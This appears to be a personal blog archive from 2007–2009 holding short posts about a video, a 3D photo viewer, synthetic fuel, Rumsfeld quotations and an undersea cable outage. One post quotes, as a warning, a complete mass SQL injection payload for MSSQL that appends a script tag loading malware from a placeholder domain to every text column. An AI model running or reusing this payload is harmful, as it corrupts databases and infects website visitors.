A web site for tutti noi (all of us!)
Wednesday, February 4th, 2009
Here’s the video… What I didn’t realize before, is that it appears he was pied by three different people…
Thursday, August 14th, 2008
This is radical! Wow![kml_embed movie="http://www.youtube.com/watch?v=gLLzV5qeKyk" /]Uni. Washington and Microsoft Research collaborates on (yet another) mindblowing 3D photo viewer – istartedsomething
Tuesday, August 12th, 2008
Here’s a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:
DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+â€â€></title><script src=â€http://www.domain.com/malware/ w.jsâ€></script><!–†where ‘+@C+’ not like â€%â€></title><script src=â€http://www.domain.com/malware/w.js “></script><!–â€â€™)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
 TrustedSource – Blog – New SQL Injection Attack Infecting Machines
Friday, July 11th, 2008
Please enable Javascript and Flash to view this Flash video.
Thursday, June 12th, 2008
I, Cringely . The Pulpit . It’s the Platform, Stupid | PBS
Cars are the key to U.S. energy consumption. The dominant automotive platform here, whether you drive a truck, a car, or a motorcycle, relies on gasoline-fueled internal combustion engines. That’s the platform we are unlikely to change quickly. So how do we leave that platform intact and unchanged, ask nobody to significantly sacrifice, yet still achieve the noble (and Nobel) goals of lower fuel consumption, lower greenhouse gas emissions, lower pollution levels, dramatically lower oil consumption, lower cost, and lower geopolitical vulnerability for our country? There’s only one way I know to accomplish this: change the fuel.
This happened to a certain extent in Brazil during the ’70s and ’80s by embracing ethanol. But ethanol has less energy per gallon so fuel consumption goes up and mileage goes down. Ethanol can’t be shipped in pipelines also used for oil. Cars have to be modified to run on it and even then there are issues about internal corrosion. Ethanol is far from perfect. What’s needed is a replacement for gasoline that looks and feels and tastes just like gas to your car but isn’t made from oil. Then the platform could remain completely unchanged yet my 1966 Thunderbird (and the world) could benefit starting with the very next tankful.
There is such a fuel, developed by a husband and wife team of scientists working in Indiana in cooperation with Purdue University. This new fuel, called SwiftFuel, is right now intended for airplanes, not cars, but the lessons are the same.
Thursday, June 12th, 2008
The poems that follow are the exact words of the defense secretary, as taken from the official transcripts on the Defense Department Web site.
The Unknown
As we know,
There are known knowns.
There are things we know we know.
We also know
There are known unknowns.
That is to say
We know there are some things
We do not know.
But there are also unknown unknowns,
The ones we don’t know
We don’t know.—Feb. 12, 2002, Department of Defense news briefing
More of this insanity is available: The poetry of Donald Rumsfeld. – By Hart Seely – Slate Magazine
What he didn’t mention, is that there are also unknown knowns! That is to say, things we don’t know we know.
Monday, February 4th, 2008
How one clumsy ship cut off the web for 75 million people | Technology | The Guardian
Wow.
A flotilla of ships may have been dispatched to reinstate the broken submarine cable that has left the Middle East and India struggling to communicate with the rest of the world, but it took just one vessel to inflict the damage that brought down the internet for millions.
…
“People just don’t realise that all these things go through undersea cables – that this is the main way these economies are all linked,” said Alan Mauldin, the research director of TeleGeography. “Even when you’re using wireless internet, it’s only really wireless back to your base station: the rest is done over real, physical connections.”
…
One expert suggested that this week’s accident should be a “wake-up call” to convince governments that keeping such connections secure should be a higher priority. Officials must spend more time and energy making sure that critical communications such as mobile phones and the net are adequately protected – whether from disaster or a terrorist strike, said Mustafa Alani, head of security and terrorism at the Gulf Research Centre in Dubai.
“This shows how easy it would be to attack,” he said. “When it comes to great technology, it’s not about building it, it’s how to protect it.”
Monday, December 3rd, 2007
Please enable Javascript and Flash to view this Flash video.
Copyright © 2010 - ourlil.com | Entries (RSS) | Comments (RSS)
WordPress theme designed by 
web design
